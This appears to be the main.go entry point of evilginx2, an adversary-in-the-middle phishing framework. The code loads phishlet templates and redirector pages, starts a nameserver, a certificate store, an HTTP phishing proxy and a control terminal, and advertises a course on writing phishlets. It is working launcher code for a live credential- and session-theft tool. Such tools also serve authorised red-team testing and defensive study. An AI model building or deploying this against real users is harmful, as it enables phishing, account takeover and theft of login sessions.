184 lines
4.6 KiB
Go
184 lines
4.6 KiB
Go
package main
|
|
|
|
import (
|
|
"flag"
|
|
"fmt"
|
|
_log "log"
|
|
"os"
|
|
"os/user"
|
|
"path/filepath"
|
|
"regexp"
|
|
|
|
"github.com/caddyserver/certmagic"
|
|
"github.com/kgretzky/evilginx2/core"
|
|
"github.com/kgretzky/evilginx2/database"
|
|
"github.com/kgretzky/evilginx2/log"
|
|
"go.uber.org/zap"
|
|
|
|
"github.com/fatih/color"
|
|
)
|
|
|
|
var phishlets_dir = flag.String("p", "", "Phishlets directory path")
|
|
var redirectors_dir = flag.String("t", "", "HTML redirector pages directory path")
|
|
var debug_log = flag.Bool("debug", false, "Enable debug output")
|
|
var developer_mode = flag.Bool("developer", false, "Enable developer mode (generates self-signed certificates for all hostnames)")
|
|
var cfg_dir = flag.String("c", "", "Configuration directory path")
|
|
var version_flag = flag.Bool("v", false, "Show version")
|
|
|
|
func joinPath(base_path string, rel_path string) string {
|
|
var ret string
|
|
if filepath.IsAbs(rel_path) {
|
|
ret = rel_path
|
|
} else {
|
|
ret = filepath.Join(base_path, rel_path)
|
|
}
|
|
return ret
|
|
}
|
|
|
|
func showAd() {
|
|
lred := color.New(color.FgHiRed)
|
|
lyellow := color.New(color.FgHiYellow)
|
|
white := color.New(color.FgHiWhite)
|
|
message := fmt.Sprintf("%s: %s %s", lred.Sprint("Evilginx Mastery Course"), lyellow.Sprint("https://academy.breakdev.org/evilginx-mastery"), white.Sprint("(learn how to create phishlets)"))
|
|
log.Info("%s", message)
|
|
}
|
|
|
|
func main() {
|
|
flag.Parse()
|
|
|
|
if *version_flag == true {
|
|
log.Info("version: %s", core.VERSION)
|
|
return
|
|
}
|
|
|
|
exe_path, _ := os.Executable()
|
|
exe_dir := filepath.Dir(exe_path)
|
|
|
|
core.Banner()
|
|
showAd()
|
|
|
|
_log.SetOutput(log.NullLogger().Writer())
|
|
certmagic.Default.Logger = zap.NewNop()
|
|
certmagic.DefaultACME.Logger = zap.NewNop()
|
|
|
|
if *phishlets_dir == "" {
|
|
*phishlets_dir = joinPath(exe_dir, "./phishlets")
|
|
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
|
|
*phishlets_dir = "/usr/share/evilginx/phishlets/"
|
|
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
|
|
log.Fatal("you need to provide the path to directory where your phishlets are stored: ./evilginx -p <phishlets_path>")
|
|
return
|
|
}
|
|
}
|
|
}
|
|
if *redirectors_dir == "" {
|
|
*redirectors_dir = joinPath(exe_dir, "./redirectors")
|
|
if _, err := os.Stat(*redirectors_dir); os.IsNotExist(err) {
|
|
*redirectors_dir = "/usr/share/evilginx/redirectors/"
|
|
if _, err := os.Stat(*redirectors_dir); os.IsNotExist(err) {
|
|
*redirectors_dir = joinPath(exe_dir, "./redirectors")
|
|
}
|
|
}
|
|
}
|
|
if _, err := os.Stat(*phishlets_dir); os.IsNotExist(err) {
|
|
log.Fatal("provided phishlets directory path does not exist: %s", *phishlets_dir)
|
|
return
|
|
}
|
|
if _, err := os.Stat(*redirectors_dir); os.IsNotExist(err) {
|
|
os.MkdirAll(*redirectors_dir, os.FileMode(0700))
|
|
}
|
|
|
|
log.DebugEnable(*debug_log)
|
|
if *debug_log {
|
|
log.Info("debug output enabled")
|
|
}
|
|
|
|
phishlets_path := *phishlets_dir
|
|
log.Info("loading phishlets from: %s", phishlets_path)
|
|
|
|
if *cfg_dir == "" {
|
|
usr, err := user.Current()
|
|
if err != nil {
|
|
log.Fatal("%v", err)
|
|
return
|
|
}
|
|
*cfg_dir = filepath.Join(usr.HomeDir, ".evilginx")
|
|
}
|
|
|
|
config_path := *cfg_dir
|
|
log.Info("loading configuration from: %s", config_path)
|
|
|
|
err := os.MkdirAll(*cfg_dir, os.FileMode(0700))
|
|
if err != nil {
|
|
log.Fatal("%v", err)
|
|
return
|
|
}
|
|
|
|
crt_path := joinPath(*cfg_dir, "./crt")
|
|
|
|
cfg, err := core.NewConfig(*cfg_dir, "")
|
|
if err != nil {
|
|
log.Fatal("config: %v", err)
|
|
return
|
|
}
|
|
cfg.SetRedirectorsDir(*redirectors_dir)
|
|
|
|
db, err := database.NewDatabase(filepath.Join(*cfg_dir, "data.db"))
|
|
if err != nil {
|
|
log.Fatal("database: %v", err)
|
|
return
|
|
}
|
|
|
|
bl, err := core.NewBlacklist(filepath.Join(*cfg_dir, "blacklist.txt"))
|
|
if err != nil {
|
|
log.Error("blacklist: %s", err)
|
|
return
|
|
}
|
|
|
|
files, err := os.ReadDir(phishlets_path)
|
|
if err != nil {
|
|
log.Fatal("failed to list phishlets directory '%s': %v", phishlets_path, err)
|
|
return
|
|
}
|
|
for _, f := range files {
|
|
if !f.IsDir() {
|
|
pr := regexp.MustCompile(`([a-zA-Z0-9\-\.]*)\.yaml`)
|
|
rpname := pr.FindStringSubmatch(f.Name())
|
|
if rpname == nil || len(rpname) < 2 {
|
|
continue
|
|
}
|
|
pname := rpname[1]
|
|
if pname != "" {
|
|
pl, err := core.NewPhishlet(pname, filepath.Join(phishlets_path, f.Name()), nil, cfg)
|
|
if err != nil {
|
|
log.Error("failed to load phishlet '%s': %v", f.Name(), err)
|
|
continue
|
|
}
|
|
cfg.AddPhishlet(pname, pl)
|
|
}
|
|
}
|
|
}
|
|
cfg.LoadSubPhishlets()
|
|
cfg.CleanUp()
|
|
|
|
ns, _ := core.NewNameserver(cfg)
|
|
ns.Start()
|
|
|
|
crt_db, err := core.NewCertDb(crt_path, cfg, ns)
|
|
if err != nil {
|
|
log.Fatal("certdb: %v", err)
|
|
return
|
|
}
|
|
|
|
hp, _ := core.NewHttpProxy(cfg.GetServerBindIP(), cfg.GetHttpsPort(), cfg, crt_db, db, bl, *developer_mode)
|
|
hp.Start()
|
|
|
|
t, err := core.NewTerminal(hp, cfg, crt_db, db, *developer_mode)
|
|
if err != nil {
|
|
log.Fatal("%v", err)
|
|
return
|
|
}
|
|
|
|
t.DoWork()
|
|
}
|